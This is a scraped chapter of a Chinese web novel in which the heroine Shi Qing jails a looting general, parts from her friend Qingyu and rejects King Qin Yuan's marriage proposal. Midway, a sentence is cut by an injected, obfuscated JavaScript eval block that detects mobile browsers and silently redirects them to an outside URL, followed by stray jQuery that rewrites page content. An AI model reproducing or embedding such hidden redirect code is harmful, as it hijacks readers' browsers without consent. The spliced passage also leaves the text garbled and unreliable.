82. 第 82 章

作品:《女扮男装,掰弯敌国太子

    “这就不劳您费心了。”


    卫容指挥将士安顿好营寨,不可避免地又忆起史青说这话时的神情。


    客套、疏离、云淡风轻。


    仿佛胜券在握,又仿佛笃定到不屑一顾。


    可史青不过是个孤家寡人,本家远在中都,又有什么倚仗可言?连唯一可做倚仗的白石,此刻也被史青赶了出来,正守在卫容营前黯然伤神。


    而卫容又跟随秦王多年,深知秦王即便宠爱史青,待史青与众不同,却绝不会因史青而误了军政大事。


    卫兵匆匆来报:“不好了将军,楚雄将军带兵去找女公子的麻烦了。”


    史青?


    卫容笑道:“哦?”


    卫兵跪地抱拳:“楚将军要查抄新郑富户家财以及衙门府库、宫中财库,女公子不许,正带兵争执。”


    卫容踱步出帐,瞧见失魂落魄的白石,轻啧一声,“一起去瞧瞧?记得点些兵将,若是她出了什么事,你我可担不起。”


    白石正焦灼被史青拒之千里,岂有拒绝的道理?


    卫兵欲言又止地跟了上来。


    卫容眉梢微挑:“又怎么了?”


    卫兵满脸复杂:“那个……将军,我想您不必另点兵将了。楚将军已经被女公子关进大牢。”


    卫容淡定的神情寸寸裂开:“哈?她关楚雄?”


    他狐疑地看向卫兵。


    卫兵连连保证:“将军,小人绝无一句虚言。”


    ……


    史青这边,自从在城楼上同新郑大小官员短暂交接过后,她便极快地镇住了异动。


    可偏偏这位楚将军蠢笨,偏要到史青面前指责史青。


    狱卒打开牢房大门,史青带着青羽,踏进阴暗潮湿的甬道,最终停在关押楚雄的牢门前。


    楚雄发髻沾着碎茅草,见了史青便激动地扒住木栅,晃得锁链叮当响,“你这个妖女,竟敢如此羞辱本将军,等王上驾临,本将军一定要让你不得好死!”


    “啪啪啪,”史青轻轻抚掌,“那我真是期待呢。我同人交接,是你贸然闯入坏了我的大事,我不责怪你,你反倒要捉拿我,好生让我见识到了你们秦人的风采。”


    楚雄扫视史青,豪迈地笑起来,“哈哈哈哈哈,你真是,妇人之仁!你可知本次出兵伐韩,我秦国损耗的兵力、粮草、钱饷究竟有多少?如若本将军不巡视府库,不补充供给,你可知回程路上又要消耗多少?你只看得见这群丧家犬哀哀凄鸣便心生怜悯,又怎看得见我师一路横扫至今的艰苦?”


    史青静静听着,忽而笑道:“杀鸡取卵,也好意思说出来?”


    若楚雄只是检阅府库,史青岂有不肯的道理。


    可楚雄所作所为,分明是纵容手下烧杀抢掠,这性质截然不同。


    甬道阴暗狭长,史青和青羽慢慢往外走。


    青羽头一次进牢狱,擎着火炬左顾右盼,满眼雀跃。


    史青嗓音舒缓:“青羽,我已经到了新郑。若不出意外,这便是我这段旅程的终点。如今已到别离之际,你可有什么打算?”


    青羽懵懵的,好一会儿才听明白史青的话,“我能去哪里?阿父阿母只让我跟着你,我也只想跟着你。”


    史青笑着摇头,“青羽,我已大难临头,你却不然。你武功高强,品性纯良,不愁安身之处,纵使是入王公贵族之家,也炙手可热。但你夜里时常伤神,想必是思家的……”


    青羽忙道:“我不回家。山里与鱼虫鸟木为伴,连羹汤都差些滋味。”


    史青含笑听青羽说完,微微颔首,“是极。我倒有一法子,不知你肯不肯冒险。若事成,你不但不用再遁入山林避世而活,还能与族人生活在一处。”


    青羽眼睛睁得溜圆:“什么法子啊?”


    史青笑得更深,踮脚……够青羽耳朵有些艰难。青羽连忙歪头,让史青能凑在她耳边咬字。


    青羽震惊:“这样……可以吗?”


    史青笑道:“你听我说嘛。”


    秦渊在卫容的指引下踏入大牢,拧眉走在阴暗的甬道中,听到史青熟悉的声音,紧绷的情绪便不由一松。


    即使甬道阴暗狭窄,充斥着潮湿的腐土气息,秦渊唇角还是带出笑,大步流星走向史青。


    绕过拐角,他看到史青,也看到史青眉眼间的笑,不觉满心欢喜。


    史青循脚步声望去,笑意减淡,唇线绷直,冷冰冰的。


    秦渊如坠冰窟。


    只是看到他,史青就如此不耐?


    但秦渊没有丝毫停顿,步子反而愈发快,从青羽身旁带走史青。


    青羽拔剑,飞刺而来,于朴实无华蕴藏着无尽杀气。


    变故突如其来。


    在两人剑刃相撞的一刻,史青先一步清醒,“住手。”


    可秦渊和青羽都将对面视作仇雠,岂肯停下。史青忧心如焚,怕青羽被秦渊的手下车轮战折磨,也抽剑加入战局,一剑逼停两人。


    秦渊看史青一眼,冷笑着收剑。


    青羽也不情不愿地收了剑,警惕地盯着秦渊。


    这个人,搂着史青,仅仅左手持剑,便能与青羽打个不相上下,是青羽下山以来遇到的第一位绝世高手。


    而这位绝世高手,看似随意地拥着史青,实则将史青看护得密不透风,连青羽打探的视线都被他视为眼中钉肉中刺。


    尤其秦渊看史青,总带着几缕咬牙切齿。


    这让青羽怎么不担心?


    史青额角沁出薄汗。


    带甲侍卫一重重逼近,而青羽孤身一人。


    史青猜得到秦渊最迟今夜就会抵达新郑,但从没想过他会来得这么早,更没想过他会和青羽动起手来。


    这实在是太突然,何况他二人交恶,史青不放心青羽再留在她身边。


    史青敛容,与秦渊十指相扣,故作轻松,笑道:“你何时到的?这位是青羽,我的朋友,一路上多有相护。青羽,这就是我曾经与你提起过的好友秦渊。方才想必是有误会……”


    秦渊语声冷硬,“寡人不只是她所说的好友,还是她的未婚夫婿。这位姑娘,请你谨守礼制。”


    青羽眸中燃起怒火,看到史青冲她摇头,这才不情不愿地咽下骂语。


    这一切,躲不过秦渊的耳目。


    秦渊拇指轻轻摩挲史青手背,紧握史青的手,“不过,你既是夫人的朋友,寡人怎好怠慢?卫容,给青羽姑娘安排住处。”


    卫容上前几步,停在青羽身旁,微微笑道:“青羽姑娘,请吧。”


    他既是同青羽讲话,又挡了青羽追史青,让青羽只能坠在侍卫身后,眼巴巴看着史青被那个陌生人拥在怀中,朝着王宫而去。


    青羽几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145951|186892||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乎用尽了全身力气,才让自己冷静下来,跟着卫容走向她的住所。


    ……


    王宫如今已被秦人接管,各处要职都换上了秦人。


    尤其秦渊暂居的主殿,清洗得更为彻底,连一个旧宫人都没留下,统统由秦渊的侍卫顶替。


    史青和秦渊步入主殿,沉默无比。


    殿中檀香袅袅,明烛泣泪,金碧辉煌,但两人只是静立着,没人开口说话。


    秦渊目光炯炯,一瞬不移地盯着史青。


    史青毫不示弱地紧盯回去,最终先败下阵来,移开视线,轻声道:“青羽从没经过世事,她对您动手,实在是关心则乱,并没有什么坏心思。往后我也会叮嘱她,今日的事绝不会再发生。青羽离家日久,思家心切,请您恩准她……”


    “史青。”


    秦渊神情冷冽,眉眼间夹杂着嘲意,“自身难保,还要在这时候为旁人开脱?真是——热心肠。”


    史青无视他的冷嘲热讽,声线平稳,“我出现在这儿,您还不明白吗?我不同意这桩婚事。”


    “为何?”秦渊强压怒火,“婚期不好?还是你对成婚的仪制有不满?若你孤单,寡人也能命你举族迁往咸阳。”


    史青道:“都不是。我不同意,仅仅是因为您。”


    秦渊冷笑。


    他从咸阳赶来,路途迢迢,本不该在此时抵达新郑。是他相思成疾、日夜兼程,这才得见史青。


    他给史青的信,一删再删才寄出。而史青回的信,却只有冷冰冰的三字——“知道了。”


    他早已在信中写明,不追究史青私自离开咸阳。可史青呢?即使史青很快就收敛神情,可那深深的不耐,还是躲不过秦渊的眼睛。


    史青根本就不爱他,甚至……秦渊切断思绪,不再深想,“父母之命,媒妁之言。你如何做得了主?”


    她如何做得了主?


    史青眉头深深皱起,“我如何做不得主?我父母双亡,祖父已逝,如今家里只有我一个人,我怎么做不了主?如果连我都做不了主,又有谁能做主?”


    秦渊冷声道:“你虽无近亲,可你族中还有族老若干。那些族老,难道也不能决定你的婚事?”


    荒谬太过,史青竟笑出了声,“我连王嗣都敢弑,你以为我会听从他们的安排?”


    她竟觉出一丝苍凉,不禁叹息一声,“我的去留,我自己不能决定,你们却能决定,这又是什么道理?”


    秦渊盯着史青,看到史青眼中浓浓的嘲讽和愁绪。


    她像一捧水,他捧在手心里会慢慢从指缝间溜走,等他急切地想要留住她,却将她推得越来越远。


    侍卫在殿外请奏:“王上,齐、赵两国的使者已经抵达新郑,但两国使者拒绝入住驿馆,并表示要驻扎在我军之外。卫将军请您示下。”


    殿内,秦渊的嗓音遥遥传来,冰冷模糊,“驿馆不住,那便入宫。”


    他给齐、赵体面,齐、赵却妄图索要更多。担忧秦军威胁国君性命?那便到宫里来,在他秦军的包围之下。


    他不是什么好人,哪怕对史青也一样。


    史青见秦渊往外走,紧随其后,也正要出门,但侍卫却拦住了她。


    她知道,他大概又要关着她了。


    为什么?就因为她不同意这桩婚事?


    简直荒谬!